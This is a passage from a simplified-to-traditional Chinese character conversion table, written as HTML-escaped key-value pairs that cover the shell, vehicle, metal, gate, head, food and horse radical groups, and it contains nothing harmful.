&#39;費&#39;, &#39;贺&#39;: &#39;賀&#39;, &#39;贻&#39;: &#39;貽&#39;, &#39;贼&#39;: &#39;賊&#39;, &#39;贽&#39;: &#39;贄&#39;, &#39;贾&#39;: &#39;賈&#39;, &#39;贿&#39;: &#39;賄&#39;, &#39;赀&#39;: &#39;貲&#39;, &#39;赁&#39;: &#39;賃&#39;, &#39;赂&#39;: &#39;賂&#39;, &#39;资&#39;: &#39;資&#39;, &#39;赅&#39;: &#39;賅&#39;, &#39;赆&#39;: &#39;贐&#39;, &#39;赇&#39;: &#39;賕&#39;, &#39;赈&#39;: &#39;賑&#39;, &#39;赉&#39;: &#39;賚&#39;, &#39;赊&#39;: &#39;賒&#39;, &#39;赋&#39;: &#39;賦&#39;, &#39;赌&#39;: &#39;賭&#39;, &#39;赎&#39;: &#39;贖&#39;, &#39;赏&#39;: &#39;賞&#39;, &#39;赐&#39;: &#39;賜&#39;, &#39;赑&#39;: &#39;贔&#39;, &#39;赒&#39;: &#39;賙&#39;, &#39;赓&#39;: &#39;賡&#39;, &#39;赔&#39;: &#39;賠&#39;, &#39;赕&#39;: &#39;賧&#39;, &#39;赖&#39;: &#39;賴&#39;, &#39;赗&#39;: &#39;賵&#39;, &#39;赘&#39;: &#39;贅&#39;, &#39;赙&#39;: &#39;賻&#39;, &#39;赚&#39;: &#39;賺&#39;, &#39;赛&#39;: &#39;賽&#39;, &#39;赜&#39;: &#39;賾&#39;, &#39;赞&#39;: &#39;贊&#39;, &#39;赟&#39;: &#39;贇&#39;, &#39;赠&#39;: &#39;贈&#39;, &#39;赡&#39;: &#39;贍&#39;, &#39;赢&#39;: &#39;贏&#39;, &#39;赣&#39;: &#39;贛&#39;, &#39;赪&#39;: &#39;赬&#39;, &#39;赵&#39;: &#39;趙&#39;, &#39;赶&#39;: &#39;趕&#39;, &#39;趋&#39;: &#39;趨&#39;, &#39;趱&#39;: &#39;趲&#39;, &#39;趸&#39;: &#39;躉&#39;, &#39;跃&#39;: &#39;躍&#39;, &#39;跄&#39;: &#39;蹌&#39;, &#39;跞&#39;: &#39;躒&#39;, &#39;践&#39;: &#39;踐&#39;, &#39;跶&#39;: &#39;躂&#39;, &#39;跷&#39;: &#39;蹺&#39;, &#39;跸&#39;: &#39;蹕&#39;, &#39;跹&#39;: &#39;躚&#39;, &#39;跻&#39;: &#39;躋&#39;, &#39;踊&#39;: &#39;踴&#39;, &#39;踌&#39;: &#39;躊&#39;, &#39;踪&#39;: &#39;蹤&#39;, &#39;踬&#39;: &#39;躓&#39;, &#39;踯&#39;: &#39;躑&#39;, &#39;蹑&#39;: &#39;躡&#39;, &#39;蹒&#39;: &#39;蹣&#39;, &#39;蹰&#39;: &#39;躕&#39;, &#39;蹿&#39;: &#39;躥&#39;, &#39;躏&#39;: &#39;躪&#39;, &#39;躜&#39;: &#39;躦&#39;, &#39;躯&#39;: &#39;軀&#39;, &#39;车&#39;: &#39;車&#39;, &#39;轧&#39;: &#39;軋&#39;, &#39;轨&#39;: &#39;軌&#39;, &#39;轩&#39;: &#39;軒&#39;, &#39;轪&#39;: &#39;軑&#39;, &#39;轫&#39;: &#39;軔&#39;, &#39;转&#39;: &#39;轉&#39;, &#39;轭&#39;: &#39;軛&#39;, &#39;轮&#39;: &#39;輪&#39;, &#39;软&#39;: &#39;軟&#39;, &#39;轰&#39;: &#39;轟&#39;, &#39;轱&#39;: &#39;軲&#39;, &#39;轲&#39;: &#39;軻&#39;, &#39;轳&#39;: &#39;轤&#39;, &#39;轴&#39;: &#39;軸&#39;, &#39;轵&#39;: &#39;軹&#39;, &#39;轶&#39;: &#39;軼&#39;, &#39;轷&#39;: &#39;軤&#39;, &#39;轸&#39;: &#39;軫&#39;, &#39;轹&#39;: &#39;轢&#39;, &#39;轺&#39;: &#39;軺&#39;, &#39;轻&#39;: &#39;輕&#39;, &#39;轼&#39;: &#39;軾&#39;, &#39;载&#39;: &#39;載&#39;, &#39;轾&#39;: &#39;輊&#39;, &#39;轿&#39;: &#39;轎&#39;, &#39;辀&#39;: &#39;輈&#39;, &#39;辁&#39;: &#39;輇&#39;, &#39;辂&#39;: &#39;輅&#39;, &#39;较&#39;: &#39;較&#39;, &#39;辄&#39;: &#39;輒&#39;, &#39;辅&#39;: &#39;輔&#39;, &#39;辆&#39;: &#39;輛&#39;, &#39;辇&#39;: &#39;輦&#39;, &#39;辈&#39;: &#39;輩&#39;, &#39;辉&#39;: &#39;輝&#39;, &#39;辊&#39;: &#39;輥&#39;, &#39;辋&#39;: &#39;輞&#39;, &#39;辌&#39;: &#39;輬&#39;, &#39;辍&#39;: &#39;輟&#39;, &#39;辎&#39;: &#39;輜&#39;, &#39;辏&#39;: &#39;輳&#39;, &#39;辐&#39;: &#39;輻&#39;, &#39;辑&#39;: &#39;輯&#39;, &#39;辒&#39;: &#39;轀&#39;, &#39;输&#39;: &#39;輸&#39;, &#39;辔&#39;: &#39;轡&#39;, &#39;辕&#39;: &#39;轅&#39;, &#39;辖&#39;: &#39;轄&#39;, &#39;辗&#39;: &#39;輾&#39;, &#39;辘&#39;: &#39;轆&#39;, &#39;辙&#39;: &#39;轍&#39;, &#39;辚&#39;: &#39;轔&#39;, &#39;辞&#39;: &#39;辭&#39;, &#39;辩&#39;: &#39;辯&#39;, &#39;辫&#39;: &#39;辮&#39;, &#39;边&#39;: &#39;邊&#39;, &#39;辽&#39;: &#39;遼&#39;, &#39;达&#39;: &#39;達&#39;, &#39;迁&#39;: &#39;遷&#39;, &#39;过&#39;: &#39;過&#39;, &#39;迈&#39;: &#39;邁&#39;, &#39;运&#39;: &#39;運&#39;, &#39;还&#39;: &#39;還&#39;, &#39;这&#39;: &#39;這&#39;, &#39;进&#39;: &#39;進&#39;, &#39;远&#39;: &#39;遠&#39;, &#39;违&#39;: &#39;違&#39;, &#39;连&#39;: &#39;連&#39;, &#39;迟&#39;: &#39;遲&#39;, &#39;迩&#39;: &#39;邇&#39;, &#39;迳&#39;: &#39;逕&#39;, &#39;迹&#39;: &#39;跡&#39;, &#39;选&#39;: &#39;選&#39;, &#39;逊&#39;: &#39;遜&#39;, &#39;递&#39;: &#39;遞&#39;, &#39;逦&#39;: &#39;邐&#39;, &#39;逻&#39;: &#39;邏&#39;, &#39;遗&#39;: &#39;遺&#39;, &#39;遥&#39;: &#39;遙&#39;, &#39;邓&#39;: &#39;鄧&#39;, &#39;邝&#39;: &#39;鄺&#39;, &#39;邬&#39;: &#39;鄔&#39;, &#39;邮&#39;: &#39;郵&#39;, &#39;邹&#39;: &#39;鄒&#39;, &#39;邺&#39;: &#39;鄴&#39;, &#39;邻&#39;: &#39;鄰&#39;, &#39;郏&#39;: &#39;郟&#39;, &#39;郐&#39;: &#39;鄶&#39;, &#39;郑&#39;: &#39;鄭&#39;, &#39;郓&#39;: &#39;鄆&#39;, &#39;郦&#39;: &#39;酈&#39;, &#39;郧&#39;: &#39;鄖&#39;, &#39;郸&#39;: &#39;鄲&#39;, &#39;酂&#39;: &#39;酇&#39;, &#39;酦&#39;: &#39;醱&#39;, &#39;酱&#39;: &#39;醬&#39;, &#39;酽&#39;: &#39;釅&#39;, &#39;酾&#39;: &#39;釃&#39;, &#39;酿&#39;: &#39;釀&#39;, &#39;释&#39;: &#39;釋&#39;, &#39;鉴&#39;: &#39;鑒&#39;, &#39;銮&#39;: &#39;鑾&#39;, &#39;錾&#39;: &#39;鏨&#39;, &#39;𨱏&#39;: &#39;鎝&#39;, &#39;钅&#39;: &#39;釒&#39;, &#39;钆&#39;: &#39;釓&#39;, &#39;钇&#39;: &#39;釔&#39;, &#39;针&#39;: &#39;針&#39;, &#39;钉&#39;: &#39;釘&#39;, &#39;钊&#39;: &#39;釗&#39;, &#39;钋&#39;: &#39;釙&#39;, &#39;钌&#39;: &#39;釕&#39;, &#39;钍&#39;: &#39;釷&#39;, &#39;钎&#39;: &#39;釺&#39;, &#39;钏&#39;: &#39;釧&#39;, &#39;钐&#39;: &#39;釤&#39;, &#39;钑&#39;: &#39;鈒&#39;, &#39;钒&#39;: &#39;釩&#39;, &#39;钓&#39;: &#39;釣&#39;, &#39;钔&#39;: &#39;鍆&#39;, &#39;钕&#39;: &#39;釹&#39;, &#39;钖&#39;: &#39;鍚&#39;, &#39;钗&#39;: &#39;釵&#39;, &#39;钘&#39;: &#39;鈃&#39;, &#39;钙&#39;: &#39;鈣&#39;, &#39;钚&#39;: &#39;鈈&#39;, &#39;钛&#39;: &#39;鈦&#39;, &#39;钜&#39;: &#39;鉅&#39;, &#39;钝&#39;: &#39;鈍&#39;, &#39;钞&#39;: &#39;鈔&#39;, &#39;钠&#39;: &#39;鈉&#39;, &#39;钡&#39;: &#39;鋇&#39;, &#39;钢&#39;: &#39;鋼&#39;, &#39;钣&#39;: &#39;鈑&#39;, &#39;钤&#39;: &#39;鈐&#39;, &#39;钥&#39;: &#39;鑰&#39;, &#39;钦&#39;: &#39;欽&#39;, &#39;钧&#39;: &#39;鈞&#39;, &#39;钨&#39;: &#39;鎢&#39;, &#39;钪&#39;: &#39;鈧&#39;, &#39;钫&#39;: &#39;鈁&#39;, &#39;钬&#39;: &#39;鈥&#39;, &#39;钭&#39;: &#39;鈄&#39;, &#39;钮&#39;: &#39;鈕&#39;, &#39;钯&#39;: &#39;鈀&#39;, &#39;钰&#39;: &#39;鈺&#39;, &#39;钱&#39;: &#39;錢&#39;, &#39;钲&#39;: &#39;鉦&#39;, &#39;钳&#39;: &#39;鉗&#39;, &#39;钴&#39;: &#39;鈷&#39;, &#39;钶&#39;: &#39;鈳&#39;, &#39;钷&#39;: &#39;鉕&#39;, &#39;钸&#39;: &#39;鈽&#39;, &#39;钹&#39;: &#39;鈸&#39;, &#39;钺&#39;: &#39;鉞&#39;, &#39;钻&#39;: &#39;鑽&#39;, &#39;钼&#39;: &#39;鉬&#39;, &#39;钽&#39;: &#39;鉭&#39;, &#39;钾&#39;: &#39;鉀&#39;, &#39;钿&#39;: &#39;鈿&#39;, &#39;铀&#39;: &#39;鈾&#39;, &#39;铁&#39;: &#39;鐵&#39;, &#39;铂&#39;: &#39;鉑&#39;, &#39;铃&#39;: &#39;鈴&#39;, &#39;铄&#39;: &#39;鑠&#39;, &#39;铅&#39;: &#39;鉛&#39;, &#39;铆&#39;: &#39;鉚&#39;, &#39;铇&#39;: &#39;鉋&#39;, &#39;铈&#39;: &#39;鈰&#39;, &#39;铉&#39;: &#39;鉉&#39;, &#39;铊&#39;: &#39;鉈&#39;, &#39;铋&#39;: &#39;鉍&#39;, &#39;铌&#39;: &#39;鈮&#39;, &#39;铍&#39;: &#39;鈹&#39;, &#39;铎&#39;: &#39;鐸&#39;, &#39;铏&#39;: &#39;鉶&#39;, &#39;铐&#39;: &#39;銬&#39;, &#39;铑&#39;: &#39;銠&#39;, &#39;铒&#39;: &#39;鉺&#39;, &#39;铓&#39;: &#39;鋩&#39;, &#39;铔&#39;: &#39;錏&#39;, &#39;铕&#39;: &#39;銪&#39;, &#39;铖&#39;: &#39;鋮&#39;, &#39;铗&#39;: &#39;鋏&#39;, &#39;铘&#39;: &#39;鋣&#39;, &#39;铙&#39;: &#39;鐃&#39;, &#39;铚&#39;: &#39;銍&#39;, &#39;铛&#39;: &#39;鐺&#39;, &#39;铜&#39;: &#39;銅&#39;, &#39;铝&#39;: &#39;鋁&#39;, &#39;铞&#39;: &#39;銱&#39;, &#39;铟&#39;: &#39;銦&#39;, &#39;铠&#39;: &#39;鎧&#39;, &#39;铡&#39;: &#39;鍘&#39;, &#39;铢&#39;: &#39;銖&#39;, &#39;铣&#39;: &#39;銑&#39;, &#39;铤&#39;: &#39;鋌&#39;, &#39;铥&#39;: &#39;銩&#39;, &#39;铦&#39;: &#39;銛&#39;, &#39;铧&#39;: &#39;鏵&#39;, &#39;铨&#39;: &#39;銓&#39;, &#39;铩&#39;: &#39;鎩&#39;, &#39;铪&#39;: &#39;鉿&#39;, &#39;铫&#39;: &#39;銚&#39;, &#39;铬&#39;: &#39;鉻&#39;, &#39;铭&#39;: &#39;銘&#39;, &#39;铮&#39;: &#39;錚&#39;, &#39;铯&#39;: &#39;銫&#39;, &#39;铰&#39;: &#39;鉸&#39;, &#39;铱&#39;: &#39;銥&#39;, &#39;铲&#39;: &#39;鏟&#39;, &#39;铳&#39;: &#39;銃&#39;, &#39;铴&#39;: &#39;鐋&#39;, &#39;铵&#39;: &#39;銨&#39;, &#39;银&#39;: &#39;銀&#39;, &#39;铷&#39;: &#39;銣&#39;, &#39;铸&#39;: &#39;鑄&#39;, &#39;铹&#39;: &#39;鐒&#39;, &#39;铺&#39;: &#39;鋪&#39;, &#39;铻&#39;: &#39;鋙&#39;, &#39;铼&#39;: &#39;錸&#39;, &#39;铽&#39;: &#39;鋱&#39;, &#39;链&#39;: &#39;鏈&#39;, &#39;铿&#39;: &#39;鏗&#39;, &#39;销&#39;: &#39;銷&#39;, &#39;锁&#39;: &#39;鎖&#39;, &#39;锂&#39;: &#39;鋰&#39;, &#39;锃&#39;: &#39;鋥&#39;, &#39;锄&#39;: &#39;鋤&#39;, &#39;锅&#39;: &#39;鍋&#39;, &#39;锆&#39;: &#39;鋯&#39;, &#39;锇&#39;: &#39;鋨&#39;, &#39;锉&#39;: &#39;銼&#39;, &#39;锊&#39;: &#39;鋝&#39;, &#39;锋&#39;: &#39;鋒&#39;, &#39;锌&#39;: &#39;鋅&#39;, &#39;锍&#39;: &#39;鋶&#39;, &#39;锎&#39;: &#39;鐦&#39;, &#39;锏&#39;: &#39;鐧&#39;, &#39;锑&#39;: &#39;銻&#39;, &#39;锒&#39;: &#39;鋃&#39;, &#39;锓&#39;: &#39;鋟&#39;, &#39;锔&#39;: &#39;鋦&#39;, &#39;锕&#39;: &#39;錒&#39;, &#39;锖&#39;: &#39;錆&#39;, &#39;锗&#39;: &#39;鍺&#39;, &#39;锘&#39;: &#39;鍩&#39;, &#39;错&#39;: &#39;錯&#39;, &#39;锚&#39;: &#39;錨&#39;, &#39;锛&#39;: &#39;錛&#39;, &#39;锜&#39;: &#39;錡&#39;, &#39;锝&#39;: &#39;鍀&#39;, &#39;锞&#39;: &#39;錁&#39;, &#39;锟&#39;: &#39;錕&#39;, &#39;锠&#39;: &#39;錩&#39;, &#39;锡&#39;: &#39;錫&#39;, &#39;锢&#39;: &#39;錮&#39;, &#39;锣&#39;: &#39;鑼&#39;, &#39;锥&#39;: &#39;錐&#39;, &#39;锦&#39;: &#39;錦&#39;, &#39;锧&#39;: &#39;鑕&#39;, &#39;锩&#39;: &#39;錈&#39;, &#39;锪&#39;: &#39;鍃&#39;, &#39;锫&#39;: &#39;錇&#39;, &#39;锬&#39;: &#39;錟&#39;, &#39;锭&#39;: &#39;錠&#39;, &#39;键&#39;: &#39;鍵&#39;, &#39;锯&#39;: &#39;鋸&#39;, &#39;锰&#39;: &#39;錳&#39;, &#39;锱&#39;: &#39;錙&#39;, &#39;锲&#39;: &#39;鍥&#39;, &#39;锳&#39;: &#39;鍈&#39;, &#39;锴&#39;: &#39;鍇&#39;, &#39;锵&#39;: &#39;鏘&#39;, &#39;锶&#39;: &#39;鍶&#39;, &#39;锷&#39;: &#39;鍔&#39;, &#39;锸&#39;: &#39;鍤&#39;, &#39;锹&#39;: &#39;鍬&#39;, &#39;锺&#39;: &#39;鍾&#39;, &#39;锻&#39;: &#39;鍛&#39;, &#39;锼&#39;: &#39;鎪&#39;, &#39;锽&#39;: &#39;鍠&#39;, &#39;锾&#39;: &#39;鍰&#39;, &#39;锿&#39;: &#39;鎄&#39;, &#39;镀&#39;: &#39;鍍&#39;, &#39;镁&#39;: &#39;鎂&#39;, &#39;镂&#39;: &#39;鏤&#39;, &#39;镃&#39;: &#39;鎡&#39;, &#39;镄&#39;: &#39;鐨&#39;, &#39;镅&#39;: &#39;鎇&#39;, &#39;镆&#39;: &#39;鏌&#39;, &#39;镇&#39;: &#39;鎮&#39;, &#39;镈&#39;: &#39;鎛&#39;, &#39;镉&#39;: &#39;鎘&#39;, &#39;镊&#39;: &#39;鑷&#39;, &#39;镋&#39;: &#39;鎲&#39;, &#39;镍&#39;: &#39;鎳&#39;, &#39;镎&#39;: &#39;鎿&#39;, &#39;镏&#39;: &#39;鎦&#39;, &#39;镐&#39;: &#39;鎬&#39;, &#39;镑&#39;: &#39;鎊&#39;, &#39;镒&#39;: &#39;鎰&#39;, &#39;镓&#39;: &#39;鎵&#39;, &#39;镔&#39;: &#39;鑌&#39;, &#39;镕&#39;: &#39;鎔&#39;, &#39;镖&#39;: &#39;鏢&#39;, &#39;镗&#39;: &#39;鏜&#39;, &#39;镘&#39;: &#39;鏝&#39;, &#39;镙&#39;: &#39;鏍&#39;, &#39;镚&#39;: &#39;鏰&#39;, &#39;镛&#39;: &#39;鏞&#39;, &#39;镜&#39;: &#39;鏡&#39;, &#39;镝&#39;: &#39;鏑&#39;, &#39;镞&#39;: &#39;鏃&#39;, &#39;镟&#39;: &#39;鏇&#39;, &#39;镠&#39;: &#39;鏐&#39;, &#39;镡&#39;: &#39;鐔&#39;, &#39;镣&#39;: &#39;鐐&#39;, &#39;镤&#39;: &#39;鏷&#39;, &#39;镥&#39;: &#39;鑥&#39;, &#39;镦&#39;: &#39;鐓&#39;, &#39;镧&#39;: &#39;鑭&#39;, &#39;镨&#39;: &#39;鐠&#39;, &#39;镩&#39;: &#39;鑹&#39;, &#39;镪&#39;: &#39;鏹&#39;, &#39;镫&#39;: &#39;鐙&#39;, &#39;镬&#39;: &#39;鑊&#39;, &#39;镭&#39;: &#39;鐳&#39;, &#39;镮&#39;: &#39;鐶&#39;, &#39;镯&#39;: &#39;鐲&#39;, &#39;镰&#39;: &#39;鐮&#39;, &#39;镱&#39;: &#39;鐿&#39;, &#39;镲&#39;: &#39;鑔&#39;, &#39;镳&#39;: &#39;鑣&#39;, &#39;镴&#39;: &#39;鑞&#39;, &#39;镵&#39;: &#39;鑱&#39;, &#39;镶&#39;: &#39;鑲&#39;, &#39;长&#39;: &#39;長&#39;, &#39;门&#39;: &#39;門&#39;, &#39;闩&#39;: &#39;閂&#39;, &#39;闪&#39;: &#39;閃&#39;, &#39;闫&#39;: &#39;閆&#39;, &#39;闬&#39;: &#39;閈&#39;, &#39;闭&#39;: &#39;閉&#39;, &#39;问&#39;: &#39;問&#39;, &#39;闯&#39;: &#39;闖&#39;, &#39;闰&#39;: &#39;閏&#39;, &#39;闱&#39;: &#39;闈&#39;, &#39;闲&#39;: &#39;閑&#39;, &#39;闳&#39;: &#39;閎&#39;, &#39;间&#39;: &#39;間&#39;, &#39;闵&#39;: &#39;閔&#39;, &#39;闶&#39;: &#39;閌&#39;, &#39;闷&#39;: &#39;悶&#39;, &#39;闸&#39;: &#39;閘&#39;, &#39;闹&#39;: &#39;鬧&#39;, &#39;闺&#39;: &#39;閨&#39;, &#39;闻&#39;: &#39;聞&#39;, &#39;闼&#39;: &#39;闥&#39;, &#39;闽&#39;: &#39;閩&#39;, &#39;闾&#39;: &#39;閭&#39;, &#39;闿&#39;: &#39;闓&#39;, &#39;阀&#39;: &#39;閥&#39;, &#39;阁&#39;: &#39;閣&#39;, &#39;阂&#39;: &#39;閡&#39;, &#39;阃&#39;: &#39;閫&#39;, &#39;阄&#39;: &#39;鬮&#39;, &#39;阆&#39;: &#39;閬&#39;, &#39;阇&#39;: &#39;闍&#39;, &#39;阈&#39;: &#39;閾&#39;, &#39;阉&#39;: &#39;閹&#39;, &#39;阊&#39;: &#39;閶&#39;, &#39;阋&#39;: &#39;鬩&#39;, &#39;阌&#39;: &#39;閿&#39;, &#39;阍&#39;: &#39;閽&#39;, &#39;阎&#39;: &#39;閻&#39;, &#39;阏&#39;: &#39;閼&#39;, &#39;阐&#39;: &#39;闡&#39;, &#39;阑&#39;: &#39;闌&#39;, &#39;阒&#39;: &#39;闃&#39;, &#39;阓&#39;: &#39;闠&#39;, &#39;阔&#39;: &#39;闊&#39;, &#39;阕&#39;: &#39;闋&#39;, &#39;阖&#39;: &#39;闔&#39;, &#39;阗&#39;: &#39;闐&#39;, &#39;阘&#39;: &#39;闒&#39;, &#39;阙&#39;: &#39;闕&#39;, &#39;阚&#39;: &#39;闞&#39;, &#39;阛&#39;: &#39;闤&#39;, &#39;队&#39;: &#39;隊&#39;, &#39;阳&#39;: &#39;陽&#39;, &#39;阴&#39;: &#39;陰&#39;, &#39;阵&#39;: &#39;陣&#39;, &#39;阶&#39;: &#39;階&#39;, &#39;际&#39;: &#39;際&#39;, &#39;陆&#39;: &#39;陸&#39;, &#39;陇&#39;: &#39;隴&#39;, &#39;陈&#39;: &#39;陳&#39;, &#39;陉&#39;: &#39;陘&#39;, &#39;陕&#39;: &#39;陝&#39;, &#39;陧&#39;: &#39;隉&#39;, &#39;陨&#39;: &#39;隕&#39;, &#39;险&#39;: &#39;險&#39;, &#39;随&#39;: &#39;隨&#39;, &#39;隐&#39;: &#39;隱&#39;, &#39;隶&#39;: &#39;隸&#39;, &#39;隽&#39;: &#39;雋&#39;, &#39;难&#39;: &#39;難&#39;, &#39;雏&#39;: &#39;雛&#39;, &#39;雠&#39;: &#39;讎&#39;, &#39;雳&#39;: &#39;靂&#39;, &#39;雾&#39;: &#39;霧&#39;, &#39;霁&#39;: &#39;霽&#39;, &#39;霡&#39;: &#39;霢&#39;, &#39;霭&#39;: &#39;靄&#39;, &#39;靓&#39;: &#39;靚&#39;, &#39;静&#39;: &#39;靜&#39;, &#39;靥&#39;: &#39;靨&#39;, &#39;䩄&#39;: &#39;靦&#39;, &#39;鞑&#39;: &#39;韃&#39;, &#39;鞒&#39;: &#39;鞽&#39;, &#39;鞯&#39;: &#39;韉&#39;, &#39;韦&#39;: &#39;韋&#39;, &#39;韧&#39;: &#39;韌&#39;, &#39;韨&#39;: &#39;韍&#39;, &#39;韩&#39;: &#39;韓&#39;, &#39;韪&#39;: &#39;韙&#39;, &#39;韫&#39;: &#39;韞&#39;, &#39;韬&#39;: &#39;韜&#39;, &#39;韵&#39;: &#39;韻&#39;, &#39;页&#39;: &#39;頁&#39;, &#39;顶&#39;: &#39;頂&#39;, &#39;顷&#39;: &#39;頃&#39;, &#39;顸&#39;: &#39;頇&#39;, &#39;项&#39;: &#39;項&#39;, &#39;顺&#39;: &#39;順&#39;, &#39;顼&#39;: &#39;頊&#39;, &#39;顽&#39;: &#39;頑&#39;, &#39;顾&#39;: &#39;顧&#39;, &#39;顿&#39;: &#39;頓&#39;, &#39;颀&#39;: &#39;頎&#39;, &#39;颁&#39;: &#39;頒&#39;, &#39;颂&#39;: &#39;頌&#39;, &#39;颃&#39;: &#39;頏&#39;, &#39;预&#39;: &#39;預&#39;, &#39;颅&#39;: &#39;顱&#39;, &#39;领&#39;: &#39;領&#39;, &#39;颇&#39;: &#39;頗&#39;, &#39;颈&#39;: &#39;頸&#39;, &#39;颉&#39;: &#39;頡&#39;, &#39;颊&#39;: &#39;頰&#39;, &#39;颋&#39;: &#39;頲&#39;, &#39;颌&#39;: &#39;頜&#39;, &#39;颍&#39;: &#39;潁&#39;, &#39;颎&#39;: &#39;熲&#39;, &#39;颏&#39;: &#39;頦&#39;, &#39;颐&#39;: &#39;頤&#39;, &#39;频&#39;: &#39;頻&#39;, &#39;颒&#39;: &#39;頮&#39;, &#39;颔&#39;: &#39;頷&#39;, &#39;颕&#39;: &#39;頴&#39;, &#39;颖&#39;: &#39;穎&#39;, &#39;颗&#39;: &#39;顆&#39;, &#39;题&#39;: &#39;題&#39;, &#39;颙&#39;: &#39;顒&#39;, &#39;颚&#39;: &#39;顎&#39;, &#39;颛&#39;: &#39;顓&#39;, &#39;额&#39;: &#39;額&#39;, &#39;颞&#39;: &#39;顳&#39;, &#39;颟&#39;: &#39;顢&#39;, &#39;颠&#39;: &#39;顛&#39;, &#39;颡&#39;: &#39;顙&#39;, &#39;颢&#39;: &#39;顥&#39;, &#39;颤&#39;: &#39;顫&#39;, &#39;颥&#39;: &#39;顬&#39;, &#39;颦&#39;: &#39;顰&#39;, &#39;颧&#39;: &#39;顴&#39;, &#39;风&#39;: &#39;風&#39;, &#39;飏&#39;: &#39;颺&#39;, &#39;飐&#39;: &#39;颭&#39;, &#39;飑&#39;: &#39;颮&#39;, &#39;飒&#39;: &#39;颯&#39;, &#39;飓&#39;: &#39;颶&#39;, &#39;飔&#39;: &#39;颸&#39;, &#39;飕&#39;: &#39;颼&#39;, &#39;飖&#39;: &#39;颻&#39;, &#39;飗&#39;: &#39;飀&#39;, &#39;飘&#39;: &#39;飄&#39;, &#39;飙&#39;: &#39;飆&#39;, &#39;飚&#39;: &#39;飈&#39;, &#39;飞&#39;: &#39;飛&#39;, &#39;飨&#39;: &#39;饗&#39;, &#39;餍&#39;: &#39;饜&#39;, &#39;饣&#39;: &#39;飠&#39;, &#39;饤&#39;: &#39;飣&#39;, &#39;饦&#39;: &#39;飥&#39;, &#39;饧&#39;: &#39;餳&#39;, &#39;饨&#39;: &#39;飩&#39;, &#39;饩&#39;: &#39;餼&#39;, &#39;饪&#39;: &#39;飪&#39;, &#39;饫&#39;: &#39;飫&#39;, &#39;饬&#39;: &#39;飭&#39;, &#39;饭&#39;: &#39;飯&#39;, &#39;饮&#39;: &#39;飲&#39;, &#39;饯&#39;: &#39;餞&#39;, &#39;饰&#39;: &#39;飾&#39;, &#39;饱&#39;: &#39;飽&#39;, &#39;饲&#39;: &#39;飼&#39;, &#39;饳&#39;: &#39;飿&#39;, &#39;饴&#39;: &#39;飴&#39;, &#39;饵&#39;: &#39;餌&#39;, &#39;饶&#39;: &#39;饒&#39;, &#39;饷&#39;: &#39;餉&#39;, &#39;饸&#39;: &#39;餄&#39;, &#39;饹&#39;: &#39;餎&#39;, &#39;饺&#39;: &#39;餃&#39;, &#39;饻&#39;: &#39;餏&#39;, &#39;饼&#39;: &#39;餅&#39;, &#39;饽&#39;: &#39;餑&#39;, &#39;饾&#39;: &#39;餖&#39;, &#39;饿&#39;: &#39;餓&#39;, &#39;馀&#39;: &#39;餘&#39;, &#39;馁&#39;: &#39;餒&#39;, &#39;馂&#39;: &#39;餕&#39;, &#39;馃&#39;: &#39;餜&#39;, &#39;馄&#39;: &#39;餛&#39;, &#39;馅&#39;: &#39;餡&#39;, &#39;馆&#39;: &#39;館&#39;, &#39;馇&#39;: &#39;餷&#39;, &#39;馈&#39;: &#39;饋&#39;, &#39;馉&#39;: &#39;餶&#39;, &#39;馊&#39;: &#39;餿&#39;, &#39;馋&#39;: &#39;饞&#39;, &#39;馌&#39;: &#39;饁&#39;, &#39;馍&#39;: &#39;饃&#39;, &#39;馎&#39;: &#39;餺&#39;, &#39;馏&#39;: &#39;餾&#39;, &#39;馐&#39;: &#39;饈&#39;, &#39;馑&#39;: &#39;饉&#39;, &#39;馒&#39;: &#39;饅&#39;, &#39;馓&#39;: &#39;饊&#39;, &#39;馔&#39;: &#39;饌&#39;, &#39;馕&#39;: &#39;饢&#39;, &#39;䯄&#39;: &#39;騧&#39;, &#39;马&#39;: &#39;馬&#39;, &#39;驭&#39;: &#39;馭&#39;, &#39;驮&#39;: &#39;馱&#39;, &#39;驯&#39;: &#39;馴&#39;, &#39;驰&#39;: &#39;馳&#39;, &#39;驱&#39;: &#39;驅&#39;, &#39;驲&#39;: &#39;馹&#39;, &#39;驳&#39;: &#39;駁&#39;, &#39;驴&#39;: &#39;驢&#39;, &#39;驵&#39;: &#39;駔&#39;, &#39;驶&#39;: &#39;駛&#39;, &#39;驷&#39;: &#39;駟&#39;, &#39;驸&#39;: &#39;駙&#39;, &#39;驹&#39;: &#39;駒&#39;, &#39;驺&#39;: &#39;騶&#39;, &#39;驻&#39;: &#39;駐&#39;, &#39;驼&#39;: &#39;駝&#39;, &#39;驽&#39;: &#39;駑&#39;, &#39;驾&#39;: &#39;駕&#39;, &#39;驿&#39;: &#39;驛&#39;, &#39;骀&#39;: &#39;駘&#39;, &#39;骁&#39;: &#39;驍&#39;, &#39;骃&#39;: &#39;駰&#39;, &#39;骄&#39;: &#39;驕&#39;, &#39;骅&#39;: &#39;驊&#39;, &#39;骆&#39;: &#39;駱&#39;, &#39;骇&#39;: &#39;駭&#39;, &#39;骈&#39;: &#39;駢&#39;, &#39;骉&#39;: &#39;驫&#39;, &#39;骊&#39;: &#39;驪&#39;, &#39;骋&#39;: &#39;騁&#39;, &#39;验&#39;: &#39;驗&#39;, &#39;骍&#39;: &#39;騂&#39;, &#39;骎&#39;: &#39;駸&#39;, &#39;骏&#39;: &#39;駿&#39;, &#39;骐&#39;: &#39;騏&#39;, &#39;骑&#39;: &#39;騎&#39;, &#39;骒&#39;: &#39;騍&#39;, &#39;骓&#39;: &#39;騅&#39;, &#39;骔&#39;: &#39;騌&#39;, &#39;骕&#39;: &#39;驌&#39;, &#39;骖&#39;: &#39;驂&#39;, &#39;骗&#39;: &#39;騙&#39;, &#39;骘&#39;: &#39;騭&#39;, &#39;骙&#39;: &#39;騤&#39;, &#39;骚&#39;: &#39;騷&#39;, &#39;骛&#39;: &#39;騖&#39;, &#39;骜&#39;: &#39;驁&#39;, &#39;骝&#39;: &#39;騮&#39;, &#39;骞&#39;: &#39;騫&#39;, &#39;骟&#39;: &#39;騸&#39;, &#39;骠&#39;: &#39;驃&#39;, &#39;骡&#39;: &#39;騾&#39;, &#39;骢&#39;: &#39;驄&#39;, &#39;骣&#39;: &#39;驏&#39;, &#39;骤&#39;: &#39;驟&#39;, &#39;骥&#39;: &#39;驥&#39;, &#39;骦&#39;: &#39;驦&#39;, &#39;骧&#39;: &#39;驤&#39;, &#39;髅&#39;: &#39;髏&#39;, &#39;髋&#39;: &#39;髖&#39;, &#39;髌&#39;: &#39;髕&#39;, &#39;鬓&#39;: &#39;鬢&#39;, &#39;魇&#39;: &#39;魘&#39;, 